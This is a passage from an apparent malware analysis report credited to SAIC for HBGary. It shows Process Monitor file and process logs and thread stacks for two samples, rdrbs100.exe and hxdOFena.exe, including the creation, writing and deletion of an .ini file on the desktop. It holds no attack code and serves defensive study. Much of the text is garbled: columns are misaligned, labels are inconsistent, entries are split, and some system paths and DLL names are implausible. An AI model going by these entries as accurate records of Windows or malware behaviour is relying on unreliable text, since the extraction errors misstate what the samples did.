<td>rdrbs100.exe</td>
<td>2300</td>
<td>Load Image</td>
<td>C:\Windows\system32\advapi32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>Load Image</td>
<td>C:\Windows\system32\advapi32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>Load Image</td>
<td>C:\Windows\system32\advapi32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>Load Image</td>
<td>C:\Windows\system32\advapi32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CreateFile</td>
<td>C:\Documents and Settings\21user\Desktop..</td>
<td>NAME NOT FOUND</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CreateFile</td>
<td>C:\Documents and Settings\21user\Desktop..</td>
<td>NAME NOT FOUND</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>FileSystemControl</td>
<td>C:\Documents and Settings\21user\Desktop..</td>
<td>NAME NOT FOUND</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>QueryOpen</td>
<td>C:\Documents and Settings\21user\Desktop..</td>
<td>NAME NOT FOUND</td>
</tr>
</tbody>
</table>

---

## Process Monitor File Activity rdrbs100.exe

<table>
<thead>
<tr>
<th>Process Name</th>
<th>PID</th>
<th>Operation</th>
<th>Path</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>QueryNameInformati onFile</td>
<td>C:\Documents and Settings\21user\Desktop\rdrbs100.exe</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>QueryNameInformati onFile</td>
<td>C:\Documents and Settings\21user\Desktop\rdrbs100.exe</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CreateFile</td>
<td>C:\WINDOWS\Prefetch\RDRBS100.EXE E-382E9135.pf</td>
<td>NAME NOT FOUND</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CreateFile</td>
<td>C:\Documents and Settings\21user\Desktop \rdrbs100.exe.L</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>FileSystemControl</td>
<td>C:\Documents and Settings\21user\Desktop\rdrbs100.exe.L</td>
<td>NAME NOT FOUND</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
<table>
<thead>
<tr>
<th>File</th>
<th>Line</th>
<th>Function</th>
<th>Path</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>ReadFile</td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.exe</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>QueryOpen</td>
<td>C:\Documents and Settings\210user\Desktop\WS2_32.DLL</td>
<td>FOUND</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>QueryOpen</td>
<td>C:\WINDOWS\system32\ws2_32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\ws2_32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CloseFile</td>
<td>C:\Documents and Settings\210user\Desktop\WS2_32.dll</td>
<td>NAME NOT</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>QueryOpen</td>
<td>C:\Documents and Settings\210user\Desktop\WS2HELP.dll</td>
<td>FOUND</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\ws2help.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CloseFile</td>
<td>C:\WINDOWS\system32\ws2help.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>ReadFile</td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.exe</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>ReadFile</td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.exe</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>QueryOpen</td>
<td>C:\WINDOWS\system32\imm32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\imm32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>QueryOpen</td>
<td>C:\WINDOWS\system32\imm32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\imm32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>QueryOpen</td>
<td>C:\WINDOWS\system32\imm32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\imm32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>QueryOpen</td>
<td>C:\WINDOWS\system32\imm32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\imm32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>QueryOpen</td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.exe</td>
<td>OVERFLOW</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>ReadFile</td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.exe</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CloseFile</td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.exe</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>QueryOpen</td>
<td>C:\WINDOWS\system32\config\SOFTWARE\ARE.LOG</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\config\SOFTWARE\ARE.LOG</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>QueryStandardInform</td>
<td>C:\WINDOWS\system32\shell32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\shell32.dll</td>
<td>NAME NOT</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CloseFile</td>
<td>C:\WINDOWS\system32\shell32.dll</td>
<td>FOUND</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>QueryOpen</td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.exe.Local</td>
<td>NAME NOT</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

-180-
<table>
<thead>
<tr>
<th>Process</th>
<th>PID</th>
<th>Function</th>
<th>Path</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CloseFile</td>
<td>C:\WINDOWS\system32\comctl32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>ReadFile</td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.exe</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>ReadFile</td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.exe</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CreateFile</td>
<td>C:\Documents and Settings\210user\Desktop</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>QueryDirectory</td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td>NO SUCH FILE</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CloseFile</td>
<td>C:\Documents and Settings\210user\Desktop</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CreateFile</td>
<td>C:\Documents and Settings\210user\Desktop</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>QueryDirectory</td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td>NO SUCH FILE</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CloseFile</td>
<td>C:\Documents and Settings\210user\Desktop</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CreateFile</td>
<td>C:\Documents and Settings\210user\Desktop</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>QueryDirectory</td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td>NO SUCH FILE</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CloseFile</td>
<td>C:\Documents and Settings\210user\Desktop</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CreateFile</td>
<td>C:\Documents and Settings\210user\Desktop</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CreateFile</td>
<td>C:\Documents and Settings\210user\Desktop</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CreateFile</td>
<td>C:\Documents and Settings\210user\Desktop</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CloseFile</td>
<td>C:\Documents and Settings\210user\Desktop</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CreateFile</td>
<td>C:\Documents and Settings\210user\Desktop</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>WriteFile</td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CloseFile</td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CreateFile</td>
<td>C:\Documents and Settings\210user\Desktop</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>QueryDirectory</td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CloseFile</td>
<td>C:\Documents and Settings\210user\Desktop</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CreateFile</td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CloseFile</td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>CreateFile</td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td>SUCCESS</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

-182-
<table>
<thead>
<tr>
<th>File</th>
<th>Line</th>
<th>Action</th>
<th>Directory</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>rdrbs100.exe</td>
<td>2300</td>
<td>ReadFile</td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td>SUCCESS</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini</td>
<td></td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
<table>
<thead>
<tr>
<th>Command</th>
<th>Return Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>rdrbs100.exe 2300 CloseFile</td>
<td>C:\WINDOWS\system32\msctftime.ime SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 QueryOpen</td>
<td>C:\WINDOWS\system32\msctftime.ime SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 CreateFile</td>
<td>C:\WINDOWS\system32\msctftime.ime SUCCESS</td>
</tr>
<tr>
<td>QueryStandardInform</td>
<td></td>
</tr>
<tr>
<td>actionFile</td>
<td></td>
</tr>
<tr>
<td>C:\WINDOWS\system32\msctftime.ime SUCCESS</td>
<td></td>
</tr>
<tr>
<td>rdrbs100.exe 2300 CloseFile</td>
<td>C:\WINDOWS\system32\msctftime.ime SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 QueryOpen</td>
<td>C:\WINDOWS\system32\msctftime.ime SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 CreateFile</td>
<td>C:\WINDOWS\system32\msctftime.ime SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 CloseFile</td>
<td>C:\WINDOWS\system32\msctftime.ime SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 QueryOpen</td>
<td>C:\WINDOWS\system32\msctftime.ime SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 QueryOpen</td>
<td>C:\WINDOWS\system32\msctftime.ime SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 CreateFile</td>
<td>C:\Documents and Settings\210user\Desktop SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 QueryDirectory</td>
<td>Settings\210user\Desktop\rdrbs100.ini SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 CloseFile</td>
<td>Settings\210user\Desktop SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 CreateFile</td>
<td>Settings\210user\Desktop\rdrbs100.ini SUCCESS</td>
</tr>
<tr>
<td>SetBasicInformationFile</td>
<td></td>
</tr>
<tr>
<td>C:\Documents and Settings\210user\Desktop\rdrbs100.ini SUCCESS</td>
<td></td>
</tr>
<tr>
<td>rdrbs100.exe 2300 CloseFile</td>
<td>Settings\210user\Desktop\rdrbs100.ini SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 CreateFile</td>
<td>Settings\210user\Desktop\rdrbs100.ini SUCCESS</td>
</tr>
<tr>
<td>QueryAttributeTagFile</td>
<td></td>
</tr>
<tr>
<td>SetDispositionInformationFile</td>
<td>Settings\210user\Desktop\rdrbs100.ini SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 CloseFile</td>
<td>Settings\210user\Desktop\rdrbs100.ini SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 CreateFile</td>
<td>Settings\210user\Desktop\rdrbs100.ini SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 QueryDirectory</td>
<td>Settings\210user\Desktop\rdrbs100.ini NO SUCH FILE</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 CloseFile</td>
<td>Settings\210user\Desktop SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 CreateFile</td>
<td>Settings\210user\Desktop\rdrbs100.ini SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 CreateFile</td>
<td>Settings\210user\Desktop SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 CloseFile</td>
<td>Settings\210user\Desktop\rdrbs100.ini SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 WriteFile</td>
<td>Settings\210user\Desktop\rdrbs100.ini SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 CloseFile</td>
<td>Settings\210user\Desktop\rdrbs100.ini SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 QueryOpen</td>
<td>C:\WINDOWS\system32\msctftime.dll SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 QueryOpen</td>
<td>C:\WINDOWS\system32\msctftime.dll SUCCESS</td>
</tr>
<tr>
<td>rdrbs100.exe 2300 CreateFile</td>
<td>Settings\210user\Desktop SUCCESS</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

-184-
Process Explorer Thread Stacks rdrbs100.exe

Thread Stack 1
ntoskrnl.exe ExReleaseResourceLite 0x1a3
ntoskrnl.exe PsGetContextThread 0x329
ntoskrnl.exe FsRtlInitializeFileLock 0x83f
ntoskrnl.exe FsRtlInitializeFileLock 0x87e
win32k.sys 0x2f52
win32k.sys 0x1b2a
win32k.sys EngQueryPerformanceCounter 0x5af
ntoskrnl.exe ZwYieldExecution 0xb78
ntdll.dll KiFastSystemCallRet 0xab59
rdrbs100.exe RegisterWaitForInputIdle 0x49
kernel32.dll

Thread Stack 2
ntoskrnl.exe ExReleaseResourceLite
ntoskrnl.exe PsGetContextThread
ntoskrnl.exe FsRtlInitializeFileLock 0x1a3
ntoskrnl.exe FsRtlInitializeFileLock 0x329
ntoskrnl.exe NtRequestWaitReplyPort 0x83f
ntoskrnl.exe ZwYieldExecution 0x87e
ntdll.dll KiFastSystemCallRet 0xe20
kernel32.dll GetConsoleInputWaitHandle 0xb78
kernel32.dll ReadConsoleA
kernel32.dll ReadFile 0x318
rdrbs100.exe 0x3b
rdrbs100.exe GetModuleFileNameA 0xa5
rdrbs100.exe 0x28bf
kernel32.dll!GetModuleFileNameA 0x1b4
### Process Monitor hxdOFena.exe

<table>
<thead>
<tr>
<th>Process Name</th>
<th>PID</th>
<th>Operation</th>
<th>Path</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>Process Start</td>
<td></td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>3868</td>
<td>Thread Create</td>
<td></td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>3069</td>
<td>Load Image</td>
<td>C:\Documents and Settings\210user\Desktop\hxdOFena.exe</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>3068</td>
<td>Load Image</td>
<td>C:\WIN\D\System\\2K\kernel32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>3068</td>
<td>Load Image</td>
<td>C:\WIN\D\System32\user32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>3068</td>
<td>Load Image</td>
<td>C:\WIN\D\System32\query32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>3068</td>
<td>Load Image</td>
<td>C:\WIN\D\System32\readpi32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>3068</td>
<td>Load Image</td>
<td>C:\WIN\D\System32\event4.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>3068</td>
<td>Load Image</td>
<td>C:\WIN\D\System32\readsec32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>3068</td>
<td>Load Image</td>
<td>C:\WIN\D\System32\oleaut32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>3068</td>
<td>Load Image</td>
<td>C:\WIN\D\System32\olevct.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>3068</td>
<td>Load Image</td>
<td>C:\WIN\D\System32\ole32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>3068</td>
<td>Load Image</td>
<td>C:\WIN\D\System32\vmm32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>3068</td>
<td>Thread Exit</td>
<td></td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>3868</td>
<td>Process Exit</td>
<td></td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>3868</td>
<td>Process Exit</td>
<td></td>
<td>SUCCESS</td>
</tr>
</tbody>
</table>

### Process Monitor File Activity hxdOFena.exe

<table>
<thead>
<tr>
<th>Process Name</th>
<th>PID</th>
<th>Operation</th>
<th>Path</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>QueryNameInformationFile</td>
<td>C:\Documents and Settings\210user\Desktop\hxdOFena.exe</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>QueryNameInformationFile</td>
<td>C:\WIN\D\System\\2K\kernel32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>CreateFile</td>
<td>NA.EXE-02DB2D06.pdf</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>QueryStandardInformationFile</td>
<td>C:\WIN\D\System\\2K\kernel32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>ReadFile</td>
<td>C:\WIN\D\System\\2K\kernel32.dll</td>
<td>SUCCESS</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
<table>
<thead>
<tr>
<th>Process</th>
<th>Time</th>
<th>Function</th>
<th>Path</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\locale.nls</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\sorttbls.nl</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\sorttbls.nl</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>CreateFile</td>
<td>C:\Documents and Settings\210user\Desktop\hxdOFena.a.exe</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>CreateFile</td>
<td>C:\Documents and Settings\210user\Desktop\hxdOFena.a.exe</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\user32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\user32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\user32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\gdi32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\gdi32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\advapi32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\advapi32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\advapi32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\rpcrt4.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\rpcrt4.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\security.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\security.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\oleaut32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\oleaut32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\oleaut32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\msvcr32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
<td>QueryStandardInformationFile</td>
<td>C:\WINDOWS\system32\msvcr32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>hxdOFena.exe</td>
<td>1956</td>
